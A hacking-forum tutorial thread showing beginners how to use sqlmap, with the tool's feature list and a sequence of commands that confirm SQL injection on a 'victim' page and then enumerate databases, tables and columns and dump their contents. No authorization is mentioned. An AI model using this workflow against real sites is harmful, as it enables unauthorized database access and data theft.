Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
[Tut] How to use sqlmap ?(basic)
#1
So first of all , hello everyone this is my first tutorial , i want to contribute to the community too so thats why i am posting this . :wink:

What is SQLMAP ?

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.

Features:


Full support for MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase and SAP MaxDB database management systems.
Full support for six SQL injection techniques: boolean-based blind, time-based blind, error-based, UNION query, stacked queries and out-of-band.
Support to directly connect to the database without passing via a SQL injection, by providing DBMS credentials, IP address, port and database name.
Support to enumerate users, password hashes, privileges, roles, databases, tables and columns.
Automatic recognition of password hash formats and support for cracking them using a dictionary-based attack.
Support to dump database tables entirely, a range of entries or specific columns as per user's choice. The user can also choose to dump only a range of characters from each column's entry.
Support to search for specific database names, specific tables across all databases or specific columns across all databases' tables. This is useful, for instance, to identify tables containing custom application credentials where relevant columns' names contain string like name and pass.
Support to download and upload any file from the database server underlying file system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
Support to execute arbitrary commands and retrieve their standard output on the database server underlying operating system when the database software is MySQL, PostgreSQL or Microsoft SQL Server.
Support to establish an out-of-band stateful TCP connection between the attacker machine and the database server underlying operating system. This channel can be an interactive command prompt, a Meterpreter session or a graphical user interface (VNC) session as per user's choice.
Support for database process' user privilege escalation via Metasploit's Meterpreter getsystem command.


How to use it?


Well , first of all you need a webpage that you think that might be SQL Vulnerable or that you are sure thats it SQL Vulnerable. How to find SQL Vulnerable webpages i will not teach you in this tutorial , this tutorial is only related to the Sqlmap .

Open Sqlmap :
(the pictures are from backtrack 5 OS , you can use any linux or windows OS to use this tool)
[Image: Screenshot.png]


Run Sqlmap on your victims webpage:
Type this if you want to test if its really vulnerable.

sqlmap.py -u http://www.vulnerablepagebla.com/index.php?id=12

[Image: Screenshot-1.png]

If you get no errors like in the pic above then the page is vulnerable.

Next you want to know the SQL databases of the website so in order to do that you type this command:

sqlmap.py -u http://www.vulnerablepagebla.com/index.php?id=12 --dbs

This will display all databases:
[Image: Screenshot-2.png]

Next thing you want to do is to know the tables inside the database so you should use this command:

sqlmap.py -u http://www.vulnerablepagebla.com/index.php?id=12 -D Database --tables

[Image: Screenshot-4.png]

Now that you have your tables from the database , you want to know the columns from the table/tables , use this command

sqlmap.py -u http://www.vulnerablepagebla.com/index.php?id=12 -D Database -T exampletable1,exampletable2 --columns

Note: You can display the columns from one table or even more , in the example above i am asking sqlmap to display the columns from 2 tables:

[Image: Screenshot-5.png]

Now for the final step , you want to know the content of a certain columns , for that you use this command

sqlmap.py -u http://www.vulnerablepagebla.com/index.php?id=12 -D Database -T exampletable1 -C examplecolumn1,examplecolumn2 --dump

[Image: Screenshot-8.png]

Thats it , thats the basic tutorial on how to use Sqlmap :tounge:
Reply
#2
Excellent share 0v3rfl0w Smile
Do NOT PM me for any inquiries related to advertising on PacketPunks. 

For our change log, CLICK HERE.
For our help docs, CLICK HERE.
Reply
#3
Backtrack noobz hhaa jk
I know u use kali normally
Knowledge is Power 龙
[Image: 2zss9s6.png]
Reply
#4
(03-25-2014, 11:42 AM)rootaccess Wrote: Backtrack noobz hhaa jk
I know u use kali normally

You mean you're still learning to use Kali, lol.
Do NOT PM me for any inquiries related to advertising on PacketPunks. 

For our change log, CLICK HERE.
For our help docs, CLICK HERE.
Reply


Forum Jump:


Users browsing this thread: 1 Guest(s)